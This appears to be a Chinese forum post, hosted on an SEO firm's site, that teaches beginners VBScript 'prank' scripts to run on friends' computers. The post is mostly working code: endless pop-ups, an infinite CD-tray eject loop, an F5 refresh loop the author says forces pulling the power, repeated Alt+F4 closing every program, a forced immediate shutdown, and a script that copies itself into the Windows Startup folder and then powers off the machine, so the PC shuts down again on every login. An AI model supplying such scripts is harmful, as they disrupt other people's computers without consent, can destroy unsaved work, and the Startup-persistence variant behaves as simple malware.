电话:13489884026
全部商品分类
快捷导航

简单VBS代码实现整蛊朋友电脑 小白可学

[复制链接]
查看: 8843|回复: 0

7

主题

17

帖子

51

积分

新手上路

Rank: 1

积分
51
发表于 7 天前 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
大家好!我是蒙面科技,第一次开通头条号,给大家分享一个电脑整蛊代码,实现起来特别简单,只用到电脑上的记事本即可。

大神勿喷·简单教程,好了话不多说,开整!

第一步:

简单VBS代码实现整蛊朋友电脑 小白可学-1.jpg

咱们先在自己电脑桌面新建一个TXT文本文档即可

第二步:

简单VBS代码实现整蛊朋友电脑 小白可学-2.jpg

输入msgbox "一大波病毒正在靠近" 点击文件->另存为->重命名为“新建文本文档.vbs

简单VBS代码实现整蛊朋友电脑 小白可学-3.jpg

双击“新建文本文档.vbs”这个时候就会弹出一个对话框了

简单VBS代码实现整蛊朋友电脑 小白可学-4.jpg

当然你还可以右键编辑里面添加更多你想让他弹出来的文字

简单VBS代码实现整蛊朋友电脑 小白可学-5.jpg

双击打开。此时,会弹出提示对话框,点击确定和关闭按钮之后,再一次弹出窗口,如此循环,无法正常关闭。

简单VBS代码实现整蛊朋友电脑 小白可学-6.jpg

那么到底要如何才能关闭呢?打开任务管理器结束进程“wscript.exe”即可

到此新手教学完毕,下面进入大神课堂教学。

无限弹出光驱:

------------------------------------------------

set wmp=createobject("wmplayer.ocx")

set cd=wmp.cdromcollection.item(0)

do

cd.eject

loop

------------------------------------------------

无尽语音报数:

无限语音从1数到无限大。

------------------------------------------------

Set s = CreateObject("sapi.spvoice")

i=0

do

s.speak i

i=i+1

loop

------------------------------------------------

无尽刷新:

慎用,如此刷新打开任务管理器都难,只能拔掉电源。

------------------------------------------------

set ws=createobject("wscript.shell")

do

ws.sendkeys "{f5}"

loop

------------------------------------------------

修改注册表:

------------------------------------------------

on error resume next

set wr=createobject("scripting.filesystemobject")

set ws=createobject("wscript.shell")

set f = wr.getfile(wscript.scriptfullname)

q=ws.regread("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Startup")

if not f="Win32.vbs" then wr.copyfile f,q&"\\Win32.vbs",true

ws.run"shutdown -p",vbhide

------------------------------------------------

直接关机:

------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

------------------------------------------------

不断按下alt+f4 :

打开任何程序都关掉

------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

do

wscript.sleep 2500

WSHshell.SendKeys "%{F4}"

loop

------------------------------------------------

开玩笑也得有个度,凡事都不要太过。上面的代码的尺度还不算很大,大家可以玩玩。

如你觉得蒙面科技写的不错,可以给蒙面科技一点小小的支持点个赞评论一下哦,如果你也喜欢计算机网络技巧,可以点击关注哦!
温馨提示:
1、在论坛里发表的文章仅代表作者本人的观点,与本网站立场无关。
2、论坛的所有内容都不保证其准确性,有效性,时间性。阅读本站内容因误导等因素而造成的损失本站不承担连带责任。
3、当政府机关依照法定程序要求披露信息时,论坛均得免责。
4、若因线路及非本站所能控制范围的故障导致暂停服务期间造成的一切不便与损失,论坛不负任何责任。
5、注册会员通过任何手段和方法针对论坛进行破坏,我们有权对其行为作出处理。并保留进一步追究其责任的权利。
天茗SEO优化网店,请联系微信A13489884026
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

热销排行/品牌特卖SALE
  • 1

让创业更简单

  • 反馈建议:wcp88com@163.com
  • 工作时间:周一到周日 9:00-21:00
13489884026

关注我们

Copyright   ©2014-2019  天茗seo  Powered by©天茗SEO  技术支持:天茗网络     ( 闽ICP备18026028号 )